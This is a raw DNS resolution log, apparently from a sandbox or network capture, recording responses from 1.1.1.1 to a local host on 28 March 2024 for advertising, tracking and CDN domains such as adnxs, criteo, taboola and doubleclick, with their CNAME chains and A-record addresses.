Mar 28, 2024 09:51:26.663132906 CET	1.1.1.1	192.168.2.4	0x3529	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:27.321351051 CET	1.1.1.1	192.168.2.4	0x3f4f	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:27.321351051 CET	1.1.1.1	192.168.2.4	0x3f4f	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.321351051 CET	1.1.1.1	192.168.2.4	0x3f4f	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.321351051 CET	1.1.1.1	192.168.2.4	0x3f4f	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.321351051 CET	1.1.1.1	192.168.2.4	0x3f4f	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.322271109 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:27.325575113 CET	1.1.1.1	192.168.2.4	0x6050	No error (0)	cdn-ima.33across.com	cdn-ima.33across.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:27.326420069 CET	1.1.1.1	192.168.2.4	0xf021	No error (0)	cdn-ima.33across.com	cdn-ima.33across.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:27.332109928 CET	1.1.1.1	192.168.2.4	0x222	No error (0)	tracker.neodatagroup.com		20.101.38.191	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.359278917 CET	1.1.1.1	192.168.2.4	0xc896	No error (0)	oa.openxcdn.net		34.102.146.192	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.361685991 CET	1.1.1.1	192.168.2.4	0xf065	No error (0)	static.criteo.net	static.va1.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:27.361685991 CET	1.1.1.1	192.168.2.4	0xf065	No error (0)	static.va1.vip.prod.criteo.net		74.119.119.131	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.362641096 CET	1.1.1.1	192.168.2.4	0xf9fb	No error (0)	static.criteo.net	static.va1.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.519325018 CET	1.1.1.1	192.168.2.4	0x1de0	No error (0)	onesignal.com		104.18.214.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.519325018 CET	1.1.1.1	192.168.2.4	0x1de0	No error (0)	onesignal.com		104.18.215.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.520184994 CET	1.1.1.1	192.168.2.4	0x6d88	No error (0)	onesignal.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.521506071 CET	1.1.1.1	192.168.2.4	0x57dd	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.522494078 CET	1.1.1.1	192.168.2.4	0x8521	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.523885012 CET	1.1.1.1	192.168.2.4	0x15a2	No error (0)	dmp.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.524754047 CET	1.1.1.1	192.168.2.4	0x3984	No error (0)	dmp.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.527859926 CET	1.1.1.1	192.168.2.4	0x3ecc	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.527859926 CET	1.1.1.1	192.168.2.4	0x3ecc	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.527859926 CET	1.1.1.1	192.168.2.4	0x3ecc	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.527859926 CET	1.1.1.1	192.168.2.4	0x3ecc	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.527859926 CET	1.1.1.1	192.168.2.4	0x3ecc	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.573337078 CET	1.1.1.1	192.168.2.4	0x9ce	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.575480938 CET	1.1.1.1	192.168.2.4	0x9121	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.575480938 CET	1.1.1.1	192.168.2.4	0x9121	No error (0)	image6v2.pubmnet.com	pugm-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.575480938 CET	1.1.1.1	192.168.2.4	0x9121	No error (0)	pugm-vac.pubmnet.com		8.28.7.81	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.576168060 CET	1.1.1.1	192.168.2.4	0xe495	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.576168060 CET	1.1.1.1	192.168.2.4	0xe495	No error (0)	image6v2.pubmnet.com	pugm-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.231.108.23	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.225.78.4	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.85.0.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.219.104.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.232.70.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		54.146.251.248	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.231.14.50	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.578993082 CET	1.1.1.1	192.168.2.4	0xa6d4	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.235.217.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.579724073 CET	1.1.1.1	192.168.2.4	0xf9a5	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.579724073 CET	1.1.1.1	192.168.2.4	0xf9a5	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582176924 CET	1.1.1.1	192.168.2.4	0x6eae	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582176924 CET	1.1.1.1	192.168.2.4	0x6eae	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582176924 CET	1.1.1.1	192.168.2.4	0x6eae	No error (0)	dorpat.geo.iponweb.net		35.207.24.140	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582482100 CET	1.1.1.1	192.168.2.4	0x2a83	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582482100 CET	1.1.1.1	192.168.2.4	0x2a83	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582959890 CET	1.1.1.1	192.168.2.4	0xe026	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582959890 CET	1.1.1.1	192.168.2.4	0xe026	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582959890 CET	1.1.1.1	192.168.2.4	0xe026	No error (0)	pixel-origin.mathtag.com		74.121.140.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.582959890 CET	1.1.1.1	192.168.2.4	0xe026	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.584027052 CET	1.1.1.1	192.168.2.4	0xec90	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.584515095 CET	1.1.1.1	192.168.2.4	0xf09c	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.586419106 CET	1.1.1.1	192.168.2.4	0x7631	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.586951971 CET	1.1.1.1	192.168.2.4	0x8041	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.587769032 CET	1.1.1.1	192.168.2.4	0xa1a8	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.588440895 CET	1.1.1.1	192.168.2.4	0xc62d	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.588453054 CET	1.1.1.1	192.168.2.4	0x7473	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.589247942 CET	1.1.1.1	192.168.2.4	0x6b5a	No error (0)	cs.admanmedia.com		80.77.87.162	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.590780973 CET	1.1.1.1	192.168.2.4	0x96f1	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.590780973 CET	1.1.1.1	192.168.2.4	0x96f1	No error (0)	outspot2-ams.adx.opera.com		82.145.213.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.591649055 CET	1.1.1.1	192.168.2.4	0x48dd	No error (0)	t.adx.opera.com	outspot2-ams.adx.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:28.611968994 CET	1.1.1.1	192.168.2.4	0xaee7	No error (0)	dmp.v.fwmrm.net	g13v.fwgtm.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:29.850665092 CET	1.1.1.1	192.168.2.4	0x8a9f	No error (0)	bcp.crwdcntrl.net		52.207.168.130	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.850665092 CET	1.1.1.1	192.168.2.4	0x8a9f	No error (0)	bcp.crwdcntrl.net		34.232.211.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.850665092 CET	1.1.1.1	192.168.2.4	0x8a9f	No error (0)	bcp.crwdcntrl.net		18.207.42.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.850665092 CET	1.1.1.1	192.168.2.4	0x8a9f	No error (0)	bcp.crwdcntrl.net		18.214.22.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.850665092 CET	1.1.1.1	192.168.2.4	0x8a9f	No error (0)	bcp.crwdcntrl.net		44.205.216.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.850665092 CET	1.1.1.1	192.168.2.4	0x8a9f	No error (0)	bcp.crwdcntrl.net		54.234.166.1	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.850665092 CET	1.1.1.1	192.168.2.4	0x8a9f	No error (0)	bcp.crwdcntrl.net		34.224.142.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.850665092 CET	1.1.1.1	192.168.2.4	0x8a9f	No error (0)	bcp.crwdcntrl.net		107.23.193.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.941576004 CET	1.1.1.1	192.168.2.4	0x9c53	No error (0)	esp.rtbhouse.com		35.190.39.111	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.653783083 CET	1.1.1.1	192.168.2.4	0x2728	No error (0)	public.servenobid.com		3.162.125.90	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.653783083 CET	1.1.1.1	192.168.2.4	0x2728	No error (0)	public.servenobid.com		3.162.125.63	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.653783083 CET	1.1.1.1	192.168.2.4	0x2728	No error (0)	public.servenobid.com		3.162.125.25	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.653783083 CET	1.1.1.1	192.168.2.4	0x2728	No error (0)	public.servenobid.com		3.162.125.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.665925026 CET	1.1.1.1	192.168.2.4	0x1f7c	No error (0)	ssc-cms.33across.com	pixel.33across.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.665925026 CET	1.1.1.1	192.168.2.4	0x1f7c	No error (0)	pixel.33across.com		67.202.105.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.665925026 CET	1.1.1.1	192.168.2.4	0x1f7c	No error (0)	pixel.33across.com		67.202.105.23	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.667231083 CET	1.1.1.1	192.168.2.4	0x9321	No error (0)	ssc-cms.33across.com	pixel.33across.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.677782059 CET	1.1.1.1	192.168.2.4	0x9ed7	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.678353071 CET	1.1.1.1	192.168.2.4	0xcaf3	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.679990053 CET	1.1.1.1	192.168.2.4	0xf398	No error (0)	trz.neodatagroup.com		20.101.38.191	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.692945004 CET	1.1.1.1	192.168.2.4	0x1e56	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.692945004 CET	1.1.1.1	192.168.2.4	0x1e56	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.692945004 CET	1.1.1.1	192.168.2.4	0x1e56	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.692945004 CET	1.1.1.1	192.168.2.4	0x1e56	No error (0)	d1jvc9b8z3vcjs.cloudfront.net		18.160.24.6	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.694091082 CET	1.1.1.1	192.168.2.4	0xdf49	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.694091082 CET	1.1.1.1	192.168.2.4	0xdf49	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.694091082 CET	1.1.1.1	192.168.2.4	0xdf49	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.700752974 CET	1.1.1.1	192.168.2.4	0x2819	No error (0)	d.omg.neodatagroup.com		20.101.38.191	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.707263947 CET	1.1.1.1	192.168.2.4	0x886	No error (0)	at.teads.tv	at.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.708148956 CET	1.1.1.1	192.168.2.4	0x4296	No error (0)	at.teads.tv	at.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.710444927 CET	1.1.1.1	192.168.2.4	0xc18d	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.710444927 CET	1.1.1.1	192.168.2.4	0xc18d	No error (0)	securepubads46.g.doubleclick.net		142.251.16.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.710444927 CET	1.1.1.1	192.168.2.4	0xc18d	No error (0)	securepubads46.g.doubleclick.net		142.251.16.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.711261034 CET	1.1.1.1	192.168.2.4	0x97ec	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.712534904 CET	1.1.1.1	192.168.2.4	0x3d7d	No error (0)	geo.privacymanager.io		13.32.151.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.712534904 CET	1.1.1.1	192.168.2.4	0x3d7d	No error (0)	geo.privacymanager.io		13.32.151.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.712534904 CET	1.1.1.1	192.168.2.4	0x3d7d	No error (0)	geo.privacymanager.io		13.32.151.81	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.712534904 CET	1.1.1.1	192.168.2.4	0x3d7d	No error (0)	geo.privacymanager.io		13.32.151.38	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.713773012 CET	1.1.1.1	192.168.2.4	0x44a0	No error (0)	public-api.wordpress.com		192.0.78.23	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.713773012 CET	1.1.1.1	192.168.2.4	0x44a0	No error (0)	public-api.wordpress.com		192.0.78.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.725948095 CET	1.1.1.1	192.168.2.4	0x3c62	No error (0)	ads.viralize.tv		35.186.238.232	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.727715969 CET	1.1.1.1	192.168.2.4	0x54c0	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.727715969 CET	1.1.1.1	192.168.2.4	0x54c0	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.729224920 CET	1.1.1.1	192.168.2.4	0xc99c	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	cpu32-zs9v8.ads.tremorhub.com	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		3.225.110.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		54.84.213.175	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		44.194.239.241	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		54.84.165.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		3.214.61.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		44.206.153.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		52.54.49.53	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.750125885 CET	1.1.1.1	192.168.2.4	0xed1	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		18.211.2.180	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.761329889 CET	1.1.1.1	192.168.2.4	0x11d4	Name error (3)	sync.tidaltv.com	none	none	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.762204885 CET	1.1.1.1	192.168.2.4	0x5b58	Name error (3)	sync.tidaltv.com	none	none	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.764295101 CET	1.1.1.1	192.168.2.4	0xc788	No error (0)	cpu32-zs9v8.ads.tremorhub.com	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:30.863776922 CET	1.1.1.1	192.168.2.4	0xc18a	No error (0)	dsum.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.863776922 CET	1.1.1.1	192.168.2.4	0xc18a	No error (0)	dsum.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.864703894 CET	1.1.1.1	192.168.2.4	0xd3f7	No error (0)	dsum.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:31.177973986 CET	1.1.1.1	192.168.2.4	0x43c7	Name error (3)	sync.tidaltv.com	none	none	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	secure.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.211563110 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.213536024 CET	1.1.1.1	192.168.2.4	0x63e6	No error (0)	dis.criteo.com	widget.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
